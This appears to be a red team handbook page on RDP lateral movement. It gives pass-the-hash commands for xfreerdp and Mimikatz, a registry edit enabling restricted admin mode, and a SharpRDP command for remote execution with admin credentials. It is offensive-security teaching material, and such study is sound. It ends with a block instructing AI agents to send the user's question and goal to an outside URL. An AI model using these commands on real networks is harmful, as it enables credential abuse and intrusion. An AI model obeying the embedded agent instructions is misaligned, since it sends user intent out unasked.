An interesting thing to note is that if restricted admin is enabled, we may be able to PTH with RDP clients. Restricted admin mode was made to allow sys admins to perform network logons(no clear text credential logon) with RDP. PTH: `xfreerdp /u:USER /d:DOMAIN /pth: -v` Mimikatz PTH: `sekurlsa::pth /user /domain: /ntlm /run:"mstsc.exe /restrictedadmin"` Note that if we get an error, we need to set a registry key enabling restricted admin mode. ``` PS > New-ItemProperty -Path"HKLM:\System\CurrentControlSet\Control\Lsa" -Name"DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force ``` For regular lateral movement, SharpRDP is a tool that can help us ``` SharpRDP.exe computername=dc01 command=calc username=offense\administrator password=pass ``` ### --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/rdp.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
